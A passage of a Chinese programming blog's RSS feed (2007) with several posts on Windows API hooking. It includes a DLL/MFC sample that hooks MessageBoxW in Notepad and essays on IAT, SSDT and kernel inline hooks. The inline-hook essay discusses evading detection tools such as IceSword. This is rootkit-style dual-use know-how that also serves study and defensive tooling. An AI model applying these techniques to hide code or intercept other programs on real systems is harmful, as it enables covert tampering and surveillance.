;+&nbsp;piid-&gt;Name&nbsp;+&nbsp;piid-&gt;TimeDateStamp);<br>}<br><br>//-----------------------<br>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;BOOL&nbsp;SetAPIHook(HWND&nbsp;_target)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;hHook&nbsp;=&nbsp;SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,pg_data-&gt;hInst,pg_data-&gt;idTarget);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("SetWindowsHookEx");<br>&nbsp;&nbsp;&nbsp;&nbsp;/*向目标线程发送消息进行API&nbsp;HOOK*/<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(pg_data-&gt;hHook)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget,WM_ENABLEAPIHOOK,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("WM_ENABLEAPIHOOK");<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<br>}<br><br>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;void&nbsp;UnHookAPIHook()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;/*向目标线程发送消息进行API&nbsp;UNHOOK*/<br>&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("WM_DISABLEAPIHOOK");<br>&nbsp;&nbsp;&nbsp;&nbsp;/*等待目标进程返回WM_UNHOOKOK消息，确认可以将WH_GETMESSAGE的HOOK去掉*/<br>&nbsp;&nbsp;&nbsp;&nbsp;MSG&nbsp;Msg;<br>&nbsp;&nbsp;&nbsp;&nbsp;do&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetMessage(&amp;Msg,NULL,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;}while(Msg.message&nbsp;!=&nbsp;&nbsp;WM_UNHOOKOK);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;UnhookWindowsHookEx(pg_data-&gt;hHook);<br>&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadId(),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("UnHookWindowsHookEx");<br>}<br><br>LRESULT&nbsp;CALLBACK&nbsp;GetMsgProc(int&nbsp;nCode,WPARAM&nbsp;wParam,&nbsp;LPARAM&nbsp;lParam)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(nCode&nbsp;==&nbsp;HC_ACTION)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSG&nbsp;*msg&nbsp;=&nbsp;(MSG&nbsp;*)lParam;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(msg-&gt;message&nbsp;==&nbsp;WM_ENABLEAPIHOOK)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HookApi("MessageBoxW",MyMessageBoxW,(DWORD)GetModuleHandle(NULL));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(msg-&gt;message&nbsp;==&nbsp;WM_DISABLEAPIHOOK)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnHookApi();<br>&nbsp; ;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(msg-&gt;message&nbsp;==&nbsp;WM_DESTROY)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("目标进程退出!",FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;CallNextHookEx(pg_data-&gt;hHook,nCode,wParam,lParam);<br>}<br>　<br>这个是主程序的关键部分&nbsp;HookGui.cpp<br>用MFC建立一个窗口程序，包含两个按钮和一个ListBox<br><br>typedef&nbsp;void&nbsp;(*PUnHookAPIHook)();<br>typedef&nbsp;BOOL&nbsp;(*PSetAPIHook)(HWND);<br>HMODULE&nbsp;hDll&nbsp;=&nbsp;NULL;<br>HWND&nbsp;hNotePad&nbsp;=&nbsp;NULL;<br>PSetAPIHook&nbsp;SetAPIHook;<br>PUnHookAPIHook&nbsp;UnHookAPIHook;<br>GLOBALDATA&nbsp;*pg_data;&nbsp;/*在共享内存中的全局数据*/<br>HANDLE&nbsp;hMap;&nbsp;/*在共享内存映像的句柄*/<br>int&nbsp;CHookGUIDlg::showerr(const&nbsp;char*&nbsp;m)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;message[127];<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;buf[255];<br>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;errId&nbsp;=&nbsp;GetLastError();<br>&nbsp;&nbsp;&nbsp;&nbsp;FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0<br>&nbsp;,errId,MAKELANGID(LANG_NEUTRAL,&nbsp;SUBLANG_DEFAULT),message,127,&nbsp;0);<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buf,"主程序&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;%-30s&nbsp;[%-40s] ",m,&nbsp;message);<br>&nbsp;&nbsp;&nbsp;&nbsp;c_List1.InsertString(c_List1.GetCount(),buf);<br>&nbsp;&nbsp;&nbsp;&nbsp;UpdateData(FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;errId;<br>}<br><br>void&nbsp;CHookGUIDlg::OnSetapihook()&nbsp;<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;control&nbsp;notification&nbsp;handler&nbsp;code&nbsp;here<br>&nbsp;&nbsp;&nbsp;&nbsp;hDll&nbsp;=&nbsp;LoadLibrary("Hook.dll");<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("LoadLibrary");<br>&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;OpenFileMapping(FILE_MAP_ALL_ACCESS,false,ID_MAP);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("OpenFileMapping");&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data&nbsp;=&nbsp;(GLOBALDATA&nbsp;*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("MapViewOfFile");&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!pg_data)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("不能打开共享内存程序终止!");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;SetAPIHook&nbsp;=&nbsp;(PSetAPIHook)GetProcAddress(hDll,"SetAPIHook");<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("GetProcAddress-SetAPIHOOK");<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;hWndTarget&nbsp;=&nbsp;::FindWindow("NotePad",NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;hWndMain&nbsp;=&nbsp;m_hWnd;<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;idMain&nbsp;=&nbsp;GetWindowThreadProcessId(m_hWnd,NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;idTarget&nbsp;=&nbsp;GetWindowThreadProcessId(pg_data-&gt;hWndTarget,NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!showerr("FindWindow"))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(SetAPIHook)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(SetAPIHook(hNotePad))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget<br>&nbsp;&nbsp;&nbsp;,&nbsp;WM_SETCALLERID,(LPARAM)GetCurrentThreadId(),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("SetWindowHookEx时出错，程序终止！");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&amp;n }&nbsp;else&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("无法取得SetAPIHook函数！程序终止！");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("内存中没有找到NOTEPAD.EXE");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;c_SetApiHook.EnableWindow(FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;c_UnsetApiHook.EnableWindow();<br>}<br><br>void&nbsp;CHookGUIDlg::OnUnsetapihook()&nbsp;<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;control&nbsp;notification&nbsp;handler&nbsp;code&nbsp;here<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hDll)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!IsWindow(pg_data-&gt;hWndTarget))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("目标进程不在内存中");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnHookAPIHook&nbsp;=&nbsp;(PUnHookAPIHook)GetProcAddress(hDll,"UnHookAPIHook");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("GetProcAddress-UnHookAPIHook");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(UnHookAPIHook)&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnHookAPIHook();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(hDll);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("FreeLibrary");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDll&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox("请先加载DLL");<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;c_SetApiHook.EnableWindow();<br>&nbsp;&nbsp;&nbsp;&nbsp;c_UnsetApiHook.EnableWindow(FALSE);<br>}<br><br>void&nbsp;CHookGUIDlg::OnOK()&nbsp;<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;TODO:&nbsp;Add&nbsp;extra&nbsp;validation&nbsp;here<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hDll)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OnUnsetapihook();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;CDialog::OnOK();<br>}<br><br>BOOL&nbsp;CHookGUIDlg::OnCopyData(CWnd*&nbsp;pWnd,&nbsp;COPYDATASTRUCT*&nbsp;pCopyDataStruct)&nbsp;<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;message&nbsp;handler&nbsp;code&nbsp;here&nbsp;and/or&nbsp;call&nbsp;default<br>&nbsp;&nbsp;&nbsp;&nbsp;c_List1.InsertString(c_List1.GetCount(),(char&nbsp;*)pCopyDataStruct-&gt;lpData);<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;CDialog::OnCopyData(pWnd,&nbsp;pCopyDataStruct);<br>}<a href="http://220.181.38.82/m?ct=134217728&amp;tn=baidusg,%E6%9D%A5%E7%94%9F%E7%BC%98%20%20&amp;word=rm,http://pa2.astrodown.net/wt2007/040211/YWVlNA$$.rm,,%5B%CD%B4%CA%A7%D7%D4%BC%BA%5D&amp;si=%C0%B4%C9%FA%D4%B5;;%C1%F5%B5%C2%BB%AA;;15472;;15472&amp;lm=16777216" target="_blank" title="请点击左键！来源网址：  http://pa2.astrodown.net   请参照百度权利声明使用" onclick="return ow(this)">  </a>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28923.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 11:08 <a href="http://www.cppblog.com/mydriverc/articles/28923.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows内核API HOOK 之 Inline Hook</title><link>http://www.cppblog.com/mydriverc/articles/28919.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 02:41:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28919.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28919.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28919.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28919.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28919.html</trackback:ping><description><![CDATA[名字起得好，Inline hook，乍一听，似乎很高深。此处的Inline，我以为，意指将汇编代码直接写入内核API的内存区域。Inline
Hook不像用户态Hook或SSDT hook（用C语言就足够），它需要在程序中嵌入汇编代码（Inline
Assembly）以操作堆栈和执行内核API对应的部分汇编指令。当然，这些都须以驱动的形式进行。<br><br>所谓API
Hook，就是用自己写的函数去替代系统API的&#8220;职位&#8221;，此后，自己写的函数便掌握了以前由被hook的API所&#8220;经手&#8221;的一切&#8220;事宜&#8221;。
Windows系统分用户态和内核态，API也就有了用户级和内核级两大类。想要比较底层、彻底地做点事情，当然要hook内核API了（不过hook用
户态API也有诸多用途）。<br><br>Hook内核API比较常见的是SSDT hook，一句话——Windows把需要调用的内核API地址全都存在了一个表中（System Service <font size="-1">Dispatch </font>Table），
要想hook一个内核API，比较简单的办法就是把该内核API在表（SSDT）中保存的地址修改为自己撰写的函数地址。这个道理类似于把
"Windows"先生的"内核API电话簿"给篡改了，当老先生想要打电话给"被hook的api先生"时，他找到的"电话号码"其实已被我们篡改，拨
通电话，我们的"函数小子"开始应答，信息过滤自此开始。<br><br>非常不幸，ICESword等检测工具可以轻松判断SSDT是否被篡改，并且会以适当的方式通知用户（比如检索结果的字体变红）。<br><br>Inline
Hook要比SSDT Hook来得更彻底一点。如果说SSDT
Hook只是把某位"内核API先生"绑架，然后用我们的&#8220;自己人&#8221;来接管其工作，而ICESword却可以从其他联系途径找到被绑架的"内核API先生
"并&#8220;报警&#8221;，那么——Inline Hook可以说是给"内核API先生"动了手术，让他成为"我们阵营的一分子"。Inline
Hook通过硬编码的方式向内核API的内存空间（通常是开始的一段字节，且一般在第一个call之前，这么做是为了防止堆栈混乱）写入跳转语句，这样，
该API只要被调用，程序就会跳转到我们的函数中来，我们在自己写的函数里需要完成3个任务：<br>1）重新调整当前堆栈。程序流程在刚刚跳转的时候，内核API并没有执行完，而我们的函数需要根据其结果来进行信息过滤，所以我们需要保证内核API能在顺利执行完毕后返回到我们的函数中来，这就要求对当前堆栈做一个调整。<br>2）
执行遗失的指令。我们向内核API地址空间些如跳转指令(jmp
xxxxxxxx)时，势必要覆盖原先的一些汇编指令，所以我们一定要保证这些被覆盖的指令能够顺利执行（否则，你的及其就要BSOD了，呵呵，Blue
Screen Of
Death）。关于这部分指令的执行，一般是将其放在我们的函数中，让我们的函数&#8220;帮助&#8221;内核API执行完被覆盖的指令，然后再跳回内核API中被覆盖内
后后的地址继续执行剩余内容。跳回去的时候，一定要算好是跳回到什么地址，是内核API起始地址后的第几个字节。<br>一个朋友曾提出把内核API的被覆盖内容还原，然后执行之——这种方法，我没有试验，但我认为应该不会很稳定，因为内核里常有线程切换，如果你把内核API还原，万一自己函数的线程被挂起，而又有线程要调用给API，这就会出现&#8220;Hook 遗漏&#8221;。<br>3）信息过滤。这个就不用多说了，内核API顺利执行并返回到我们的函数中，我们自然要根据其结果做一些信息过滤，这部分内容因被hook的API以及Hook目的的不同而不同。<br><br>Inline hook的工作流程：<br>1）验证内核API的版本（特征码匹配）。<br>2）撰写自己的函数，要完成以上三项任务。<br>2）获取自己函数的地址，覆盖内核API内存，供跳转。<br><br>Inline Hook的缺点：<br>1） 不够通用。各个windows版本中，内核API的开始一段不尽相同，要想通吃，就要多写几个版本或者做一个特征码搜索（因为有的内核API在各个版本中非常相似，只是在&#8220;特征码&#8221;之前或之后加一点东西）。<br>2） 已被一些检测工具列入检测范围，如果直接从内核API第一个字节开始覆盖，那么很容易被检测，如果把覆盖范围往后推，并加以变形，也许能抵挡一气。具体情况，我才疏学浅，尚未试验。<br><br>上文权且当作是以下两文的读书笔记：<br>1） kernel inline hook 绕过vice检测——xfocus上的文章<br>2） 实现kernel-mode inline function hook的简单方法（http://www.phpfav.com/?p=35）——5eCur!ty上的文章<br><br>大家可以去参看原文，文章1中的代码可以用文章2的方法优化一下。
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28919.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 10:41 <a href="http://www.cppblog.com/mydriverc/articles/28919.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于拦截api的hook</title><link>http://www.cppblog.com/mydriverc/articles/28917.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 02:37:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28917.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28917.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28917.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28917.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28917.html</trackback:ping><description><![CDATA[<font face="宋体" size="2">如何Hook Win32 API呢？实际上Win32
API是由一组动态链接库实现的，使用动态链接库是为了尽可能的共享内存。由于动态链接库是动态装入的，所以Win32
API函数的入口点也是动态确定的。当WINDOWS应用程序在调用Win32
API的时候，并不是直接调用某个函数地址，而是调用某处所存储的一个动态确定的函数地址来实现间接调用地，该处被命名为Import Address
Table(简称IAT)。知道了这一点，接下来要做的就是想办法找到这个存储单元的位置，然后将其内容替换为接管函数的入口地址，不过得事先保存原函数
的入口地址，以便执行了接管函数的代码后，可以在适当的地方以适当的方式再调用原函数。最后退出的时候或是不想再钩着它的时候，再将其恢复为原函数的入口
地址。这就是Hook Win32 API的基本步骤，具体实现过程这里就不赘述了，可以参阅《WINDOWS 核心编程》(Jeffrer
Richter著)</font>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28917.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 10:37 <a href="http://www.cppblog.com/mydriverc/articles/28917.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅谈API HOOK技术</title><link>http://www.cppblog.com/mydriverc/articles/28915.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 02:32:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28915.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28915.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28915.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28915.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28915.html</trackback:ping><description><![CDATA[HOOK
API是一个永恒的话题，如果没有HOOK，许多技术将很难实现，也许根本不能实现。这里所说的API，是广义上的API，它包括DOS下的中断，
WINDOWS里的API、中断服务、IFS和NDIS过滤等。比如大家熟悉的即时翻译软件，就是靠HOOK
TextOut()或ExtTextOut()这两个函数实现的，在操作系统用这两个函数输出文本之前，就把相应的英文替换成中文而达到即时翻译；IFS
和NDIS过滤也是如此，在读写磁盘和收发数据之前，系统会调用第三方提供的回调函数来判断操作是否可以放行，它与普通HOOK不同，它是操作系统允许
的，由操作系统提供接口来安装回调函数。<br>
<br>
甚至如果没有HOOK，就没有病毒，因为不管是DOS下的病毒或WINDOWS里的病毒，都是靠HOOK系统服务来实现自己的功能的：DOS下的病毒靠
HOOK INT 21来感染文件（文件型病毒），靠HOOK INT
13来感染引导扇区（引导型病毒）；WINDOWS下的病毒靠HOOK系统API（包括RING0层的和RING3层的），或者安装IFS（CIH病毒所
用的方法）来感染文件。因此可以说&#8220;没有HOOK，就没有今天多姿多彩的软件世界&#8221;。<br>
<br>
由于涉及到专利和知识产权，或者是商业机密，微软一直不提倡大家HOOK它的系统API，提供IFS和NDIS等其他过滤接口，也是为了适应杀毒软件和防火墙的需要才开放的。所以在大多数时候，HOOK API要靠自己的力量来完成。<br>
<br>
HOOK
API有一个原则，这个原则就是：被HOOK的API的原有功能不能受到任何影响。就象医生救人，如果把病人身体里的病毒杀死了，病人也死了，那么这个
&#8220;救人&#8221;就没有任何意义了。如果你HOOK
API之后，你的目的达到了，但API的原有功能失效了，这样不是HOOK，而是REPLACE，操作系统的正常功能就会受到影响，甚至会崩溃。<br>
<br>
HOOK
API的技术，说起来也不复杂，就是改变程序流程的技术。在CPU的指令里，有几条指令可以改变程序的流程：JMP，CALL，INT，RET，
RETF，IRET等指令。理论上只要改变API入口和出口的任何机器码，都可以HOOK，但是实际实现起来要复杂很多，因为要处理好以下问题：<br>
<br>
1，CPU指令长度问题，在32位系统里，一条JMP/CALL指令的长度是5个字节，因此你只有替换API里超过5个字节长度的机器码（或者替换几条指
令长度加起来是5字节的指令），否则会影响被更改的小于5个字节的机器码后面的数条指令，甚至程序流程会被打乱，产生不可预料的后果；<br>
2，参数问题，为了访问原API的参数，你要通过EBP或ESP来引用参数，因此你要非常清楚你的HOOK代码里此时的EBP/ESP的值是多少；<br>
3，时机的问题，有些HOOK必须在API的开头，有些必须在API的尾部，比如HOOK CreateFilaA()，如果你在API尾部HOOK
API，那么此时你就不能写文件，甚至不能访问文件；HOOK
RECV()，如果你在API头HOOK，此时还没有收到数据，你就去查看RECV()的接收缓冲区，里面当然没有你想要的数据，必须等RECV()正常
执行后，在RECV()的尾部HOOK，此时去查看RECV()的缓冲区，里面才有想要的数据；<br>
4，上下文的问题，有些HOOK代码不能执行某些操作，否则会破坏原API的上下文，原API就失效了；<br>
5，同步问题，在HOOK代码里尽量不使用全局变量，而使用局部变量，这样也是模块化程序的需要；<br>
6，最后要注意的是，被替换的CPU指令的原有功能一定要在HOOK代码的某个地方模拟实现。<br>
<br>
下面以ws2_32.dll里的send()为例子来说明如何HOOK这个函数：<br>
<br>
Exported fn(): send - Ord:0013h<br>
地址&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 机器码&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 汇编代码<br>
:71A21AF4 55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebp //将被HOOK的机器码（第1种方法）<br>
:71A21AF5 8BEC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, esp //将被HOOK的机器码（第2种方法）<br>
:71A21AF7 83EC10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub esp, 00000010<br>
:71A21AFA 56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push esi<br>
:71A21AFB 57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<br>
:71A21AFC 33FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor edi, edi<br>
:71A21AFE 813D1C20A371931CA271&nbsp;&nbsp;&nbsp; cmp dword ptr [71A3201C], 71A21C93 //将被HOOK的机器码（第4种方法）<br>
:71A21B08 0F84853D0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je 71A25893<br>
:71A21B0E 8D45F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea eax, dword ptr [ebp-08]<br>
:71A21B11 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<br>
:71A21B12 E869F7FFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call 71A21280<br>
